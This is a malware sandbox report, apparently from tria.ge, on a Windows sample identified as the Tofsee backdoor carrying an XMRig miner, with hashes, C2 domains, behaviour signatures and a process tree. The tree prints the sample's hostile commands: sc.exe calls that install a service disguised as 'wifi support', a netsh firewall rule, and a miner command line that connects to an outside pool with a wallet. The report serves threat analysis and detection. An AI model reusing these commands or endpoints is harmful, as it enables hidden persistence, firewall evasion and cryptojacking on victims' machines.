Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

4ce2353420...4a.exe

windows7-x64

10

4ce2353420...4a.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08/03/2023, 11:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4ce2353420b3fef9a268a018a0b8bb5d4389bd7ff288c1168af812dd81b2d54a.exe

  • Size

    192KB

  • MD5

    941c2c7de7a78108baf55e9a9c80db7a

  • SHA1

    02d1c8e2027be98a452e2bc6c8e4f4359e114443

  • SHA256

    4ce2353420b3fef9a268a018a0b8bb5d4389bd7ff288c1168af812dd81b2d54a

  • SHA512

    2b0102f34315eb971d4ed7fa2ba60ccc0afdb1ebdea3548de2b91763d5b105cad984dad06b12a5c28ea36144dbd81071d69fb3833259a04763c8b398d0984ea7

  • SSDEEP

    3072:A0Uyh0vf5cSHc/onUnPJaBOkSSgH+wIygCd8ZXQm25k5gFaJc3EB:Zph03LHc/yUPh4ogCigk5gj

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 7 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4ce2353420b3fef9a268a018a0b8bb5d4389bd7ff288c1168af812dd81b2d54a.exe
    "C:\Users\Admin\AppData\Local\Temp\4ce2353420b3fef9a268a018a0b8bb5d4389bd7ff288c1168af812dd81b2d54a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dpknnzna\
      2⤵
        PID:2036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nkefckah.exe" C:\Windows\SysWOW64\dpknnzna\
        2⤵
          PID:1940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dpknnzna binPath= "C:\Windows\SysWOW64\dpknnzna\nkefckah.exe /d\"C:\Users\Admin\AppData\Local\Temp\4ce2353420b3fef9a268a018a0b8bb5d4389bd7ff288c1168af812dd81b2d54a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dpknnzna "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dpknnzna
          2⤵
          • Launches sc.exe
          PID:1080
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1656
      • C:\Windows\SysWOW64\dpknnzna\nkefckah.exe
        C:\Windows\SysWOW64\dpknnzna\nkefckah.exe /d"C:\Users\Admin\AppData\Local\Temp\4ce2353420b3fef9a268a018a0b8bb5d4389bd7ff288c1168af812dd81b2d54a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1828
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:432

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\nkefckah.exe
        Filesize

        11.1MB

        MD5

        ebd5dcd1927a97f4c957069238f9432d

        SHA1

        fda386a84ff0d9d370a3f48e8c74968ce23cfd4a

        SHA256

        14b6aa81213626667787be89ed08d5dbfd6cc42aa9793b9bd0d083268a620a7b

        SHA512

        4804a184d7307e4b14ce332009e7e167325ab4154448f44a9e90761bd635107f914c0237f51610918cf8d1f5a24f87d3c4f8cade07e39b08dcd66ce9621afce7

        Download Submit

      • C:\Windows\SysWOW64\dpknnzna\nkefckah.exe
        Filesize

        11.1MB

        MD5

        ebd5dcd1927a97f4c957069238f9432d

        SHA1

        fda386a84ff0d9d370a3f48e8c74968ce23cfd4a

        SHA256

        14b6aa81213626667787be89ed08d5dbfd6cc42aa9793b9bd0d083268a620a7b

        SHA512

        4804a184d7307e4b14ce332009e7e167325ab4154448f44a9e90761bd635107f914c0237f51610918cf8d1f5a24f87d3c4f8cade07e39b08dcd66ce9621afce7

        Download Submit

      • memory/432-120-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-122-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-124-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-123-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-121-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-119-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-112-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/432-111-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1736-62-0x0000000000400000-0x0000000000573000-memory.dmp

        Filesize

        1.4MB

        Download

      • memory/1736-56-0x00000000003B0000-0x00000000003C3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1788-65-0x0000000000400000-0x0000000000573000-memory.dmp

        Filesize

        1.4MB

        Download

      • memory/1828-88-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-96-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-79-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-82-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-83-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-84-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-85-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-86-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-87-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-75-0x0000000001C60000-0x0000000001E6F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1828-89-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-90-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-91-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-92-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-93-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-94-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-95-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-76-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1828-97-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-98-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1828-99-0x00000000002E0000-0x00000000002E5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1828-102-0x00000000002E0000-0x00000000002E5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1828-103-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1828-106-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1828-107-0x0000000000500000-0x0000000000507000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1828-72-0x0000000001C60000-0x0000000001E6F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1828-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1828-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1828-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1828-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1828-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1828-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1828-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

        Download